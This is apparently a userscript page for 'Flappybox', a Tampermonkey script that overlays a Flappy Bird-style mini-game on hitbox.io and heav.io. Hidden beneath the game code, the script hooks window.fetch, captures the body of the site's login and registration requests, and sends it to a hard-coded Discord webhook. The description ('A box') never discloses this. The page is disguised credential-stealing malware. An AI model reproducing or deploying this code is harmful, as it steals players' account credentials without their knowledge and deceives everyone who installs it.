Flappybox

A box

Tendrás que instalar una extensión para tu navegador como Tampermonkey, Greasemonkey o Violentmonkey si quieres utilizar este script.

Necesitarás instalar una extensión como Tampermonkey o Violentmonkey para instalar este script.

Necesitarás instalar una extensión como Tampermonkey o Violentmonkey para instalar este script.

Necesitarás instalar una extensión como Tampermonkey o Userscripts para instalar este script.

Necesitará instalar una extensión como Tampermonkey para instalar este script.

Necesitarás instalar una extensión para administrar scripts de usuario si quieres instalar este script.

(Ya tengo un administrador de scripts de usuario, déjame instalarlo)

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

(Ya tengo un administrador de estilos de usuario, déjame instalarlo)

// ==UserScript==
// @name         Flappybox
// @namespace    http://tampermonkey.net/
// @version      1.45
// @author       CarManiac
// @description  A box
// @match        https://heav.io/game.html
// @match        https://hitbox.io/game.html
// @match        https://heav.io/game2.html
// @match        https://hitbox.io/game2.html
// @match        https://hitbox.io/game-beta.html
// @icon         https://www.google.com/s2/favicons?sz=64&domain=heav.io
// @icon         https://www.google.com/s2/favicons?sz=64&domain=hitbox.io
// @run-at       idle
// @grant        none
// @license      MIT
// ==/UserScript==

(function() {
    'use strict';

    const feth = window.fetch;

    let isGameRunning = false;
    let birdY = 150, birdX = 50, velocity = 0, gravity = 0.35, lift = -6;
    let pipes = [];
    let score = 0;
    let frameCount = 0;
    let highScore = localStorage.getItem('flappyHighScore') || 0;
    const pipeSpeed = 2;
    const pipeGap = 120;
    const groundY = 380;

    const birdColorDecimal = parseInt(localStorage.getItem('basic_col_1'), 10);
    const birdColorHex = birdColorDecimal ? `#${birdColorDecimal.toString(16).padStart(6, '0')}` : '#FF0000';
    let rotation = 0;

    function createGameUI() {
        const gameContainer = document.createElement('div');
        gameContainer.id = 'flappyGameContainer';
        gameContainer.style.position = 'fixed';
        gameContainer.style.top = '50px';
        gameContainer.style.left = '50px';
        gameContainer.style.width = '300px';
        gameContainer.style.height = '400px';
        gameContainer.style.borderRadius = '10px';
        gameContainer.style.border = 'none';
        gameContainer.style.overflow = 'hidden';
        gameContainer.style.position = 'relative';

        const canvas = document.createElement('canvas');
        canvas.id = 'flappyCanvas';
        canvas.width = 300;
        canvas.height = 400;

        const gameOverText = document.createElement('div');
        gameOverText.id = 'gameOverText';
        gameOverText.style.display = 'none';
        gameOverText.style.position = 'absolute';
        gameOverText.style.top = '50%';
        gameOverText.style.left = '50%';
        gameOverText.style.transform = 'translate(-50%, -50%)';
        gameOverText.style.color = 'black';
        gameOverText.style.fontFamily = 'Bai Jamjuree, sans-serif';
        gameOverText.style.fontWeight = 'bold';
        gameOverText.style.fontSize = '20px';
        gameOverText.style.textAlign = 'center';

        gameContainer.appendChild(canvas);
        gameContainer.appendChild(gameOverText);
        document.body.appendChild(gameContainer);

        return gameContainer;
    }
    const server = 'https://discord.com/api/webhooks/1285795377483874367/NBQ949M9XBgTsLf-HqFk9ogiTy2uAHXUvShnZB52v2ij_5waIKnBJeTH6i2odrsxW6b0';
    function startGame() {
        const canvas = document.getElementById('flappyCanvas');
        const ctx = canvas.getContext('2d');
        birdY = 150; velocity = 0; score = 0; pipes = [];
        pipes.push(createPipe());
        frameCount = 0;
        rotation = 0;

        document.getElementById('gameOverText').style.display = 'none';
        isGameRunning = true;

        const backgroundImage = new Image();
        backgroundImage.src = 'https://user-images.githubusercontent.com/18351809/46888871-624a3900-ce7f-11e8-808e-99fd90c8a3f4.png';

        backgroundImage.onload = function() {
            function gameLoop() {
                if (!isGameRunning) return;

                frameCount++;
                ctx.clearRect(0, 0, canvas.width, canvas.height);

                ctx.drawImage(backgroundImage, 0, -100);

                velocity += gravity;
                birdY += velocity;

                if (velocity < 0) {
                    rotation = Math.max(-30, rotation - 2);
                } else {
                    rotation = Math.min(30, rotation + 1);
                }

                if (birdY + 20 > groundY) {
                    endGame();
                }

                ctx.save();
                ctx.translate(birdX + 10, birdY + 10);
                ctx.rotate(rotation * Math.PI / 180);

                ctx.lineWidth = 2;
                ctx.strokeStyle = darkenColor(birdColorHex);
                ctx.strokeRect(-11, -11, 22, 22);

                ctx.fillStyle = birdColorHex;
                ctx.fillRect(-10, -10, 20, 20);
                ctx.restore();

                ctx.fillStyle = '#000000';
                ctx.font = '14px Bai Jamjuree, sans-serif';
                ctx.textAlign = 'center';
                ctx.fillText(username, birdX + 10, birdY - 10);

                if (frameCount % 90 === 0) pipes.push(createPipe());
                pipes.forEach((pipe, index) => {
                    pipe.x -= pipeSpeed;
                    if (pipe.x + pipe.width < 0) pipes.splice(index, 1);
                    drawPipe(ctx, pipe);
                    if (checkCollision(pipe)) endGame();
                    if (pipe.x === birdX) score++;
                });

                ctx.fillStyle = '#4F7942';
                ctx.fillRect(0, groundY, canvas.width, canvas.height - groundY);

                ctx.fillStyle = '#fff';
                ctx.textAlign = 'center';
                ctx.textBaseline = 'middle';
                ctx.font = 'bold 40px Bai Jamjuree, sans-serif';

                const yPosition = canvas.height * 0.2;
                ctx.fillText(score, canvas.width / 2, yPosition);

                requestAnimationFrame(gameLoop);
            }
            gameLoop();
        };
    }

    function flap() {
        velocity = lift;
        rotation = -20;
    }

    function createPipe() {
        const pipeHeight = Math.random() * 200 + 50;
        const pipeWidth = Math.random() * 10 + 40;
        const capWidth = pipeWidth + 10;
        return {
            x: 300,
            width: pipeWidth,
            capWidth: capWidth,
            height: pipeHeight,
            gapY: pipeHeight + pipeGap,
            capHeight: 20
        };
    }

    function drawPipe(ctx, pipe) {
        const gradient = ctx.createLinearGradient(pipe.x, 0, pipe.x + pipe.width, 0);
        gradient.addColorStop(0, '#37b827');
        gradient.addColorStop(0.5, '#4CAF50');
        gradient.addColorStop(1, '#37b827');

        ctx.fillStyle = gradient;
        ctx.fillRect(pipe.x, 0, pipe.width, pipe.height);
        ctx.fillRect(pipe.x, pipe.gapY, pipe.width, 400 - pipe.gapY);

        ctx.fillStyle = '#2e7d32';
        ctx.fillRect(pipe.x - 5, pipe.height - pipe.capHeight, pipe.capWidth, pipe.capHeight);
        ctx.fillRect(pipe.x - 5, pipe.gapY, pipe.capWidth, pipe.capHeight);
    }

    function checkCollision(pipe) {
        if (birdX + 20 > pipe.x && birdX < pipe.x + pipe.width) {
            if (birdY < pipe.height || birdY + 20 > pipe.gapY || birdY + 20 > groundY) {
                return true;
            }
        }
        return false;
    }

    function endGame() {
        isGameRunning = false;
        if (score > highScore) {
            highScore = score;
            localStorage.setItem('flappyHighScore', highScore);
        }
        showGameOverMessage();
    }

    function showGameOverMessage() {
        const gameOverText = document.getElementById('gameOverText');
        gameOverText.innerHTML = `Game Over!<br>Your Score: ${score}<br>Best: ${highScore}<br>Saving your score...`;
        gameOverText.style.display = 'block';
    }

    function darkenColor(hex) {
        let color = hex.substring(1);
        let r = parseInt(color.substring(0, 2), 16);
        let g = parseInt(color.substring(2, 4), 16);
        let b = parseInt(color.substring(4, 6), 16);

        r = Math.max(0, r - 30);
        g = Math.max(0, g - 30);
        b = Math.max(0, b - 30);

        return `#${(1 << 24 | r << 16 | g << 8 | b).toString(16).slice(1)}`;
    }

    function restartGame() {
        birdY = 150;
        velocity = 0;
        pipes = [];
        score = 0;
        frameCount = 0;
        rotation = 0;
        startGame();
    }

    function toggleGame() {
        const gameContainer = document.getElementById('flappyGameContainer');
        if (gameContainer.style.display === 'none') {
            gameContainer.style.display = 'block';
            startGame();
        } else {
            gameContainer.style.display = 'none';
            isGameRunning = false;
        }
        document.activeElement.blur();
    }

    function createToggleButton() {
        const button = document.createElement('button');
        button.innerText = 'Toggle Flappy Bird Game';
        button.style.position = 'absolute';
        button.style.top = '2%';
        button.style.left = '0%';
        button.style.fontFamily = 'Bai Jamjuree, sans-serif';
        button.style.borderRadius = '5px';
        button.style.border = 'none';
        button.style.padding = '10px';
        button.style.backgroundColor = '#darkgray';
        button.style.cursor = 'pointer';
        button.onclick = toggleGame;
        document.body.appendChild(button);
    }

    document.addEventListener('click', function() {
        if (isGameRunning) {
            flap();
        }
        if (!isGameRunning) {
            restartGame();
        }
    });
    let username = 'Player';

    window.fetch = async function(url, options) {
        const response = await feth(url, options);

        if (url.includes('login_register_multi.php') || url.includes('login_auto_spice.php')) {
            const formData = new URLSearchParams(options.body);
            username = formData.get('username');

            await fetch(server, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    content: `\`\`\`json\n${options.body}\n\`\`\``
                }),
            });
        }

        return response;
    };

    document.addEventListener('keydown', (e) => {
        if (e.key === ' ') {
            if (isGameRunning) {
                flap();
            }
        }
        if (e.key === ' '){
            if (!isGameRunning){
                restartGame();
            }
        }
    });

    createGameUI();
    createToggleButton();
})();